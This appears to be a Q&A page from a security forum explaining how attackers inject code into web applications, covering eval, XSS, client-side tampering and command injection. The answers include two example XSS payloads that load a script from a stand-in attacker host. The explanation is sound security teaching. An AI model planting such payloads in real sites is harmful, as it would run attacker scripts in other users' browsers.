How hackers manage to input malicious code into web applications and most websites? I'd like to say that it is rare of websites to have the JavaScript function eval() on their website's code.

  • 3
    You will be surprised on how much sites have eval on their code...
    – ThoriumBR
    Commented May 5, 2019 at 20:55
  • No way are you being serious? No I want to redirect my question to someone else to answer Commented May 5, 2019 at 21:17
  • 4
    A quick search for eval language:javascript on github shows 7,770,832 results. This cannot be considered rare of websites to have the JavaScript function eval, right?
    – ThoriumBR
    Commented May 5, 2019 at 23:41
  • "I'd like to say that it is rare" - what is your basis for this belief?
    – schroeder
    Commented May 6, 2019 at 12:14
  • you can also run eval() with <script> or onmouseover=blah, which is how XSS does it.
    – dandavis
    Commented May 6, 2019 at 20:37

2 Answers 2


As a quick search on GitHub can tell, using eval is not that rare, it's actually pretty common. But eval is not the only way to inject code.

XSS is a common vector. If you have a form asking for the user name, and you print the result later, unescaped, a user named <script src='doma.in/scr.js'></script> can inject code.

Using the development tools, you can inject whatever you want. You can pause execution, inspect variables, create and delete objects, all you want. If javascript can do it, you can do it. If CSS can do it, you can do it.

The main issue is that developers often forget that the browser is on the attacker's domain. Anything you put on Javascript can be subverted. You can heavily obfuscate the code, but this cannot defend against a dedicated attacker.

I have seen sites using Javascript on the client for authentication. You can tell how bad this is...

Javascript aside, server-side languages (PHP, Python, ASP, JSP and the like) suffer from this too. Just search for Command Injection (OWASP has a good page about it) and you will find a lot of ways.


eval() is not the only way an attacker can execute js code there are other ways too as mentioned below:

  1. Site is vulnerable to XSS:

If a webapplication is not sanitising the input/output parameters. It is easy to execute js code. Consider there exists stored XSS vulnerability. Attacker injects the code for ex: <script src="http://attacker.site/malicious.js"/> the script will be loaded on every request made by legitamate users.

  1. If CSP header values are not in place.

I would suggest you to go through this post for further clear understanding.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .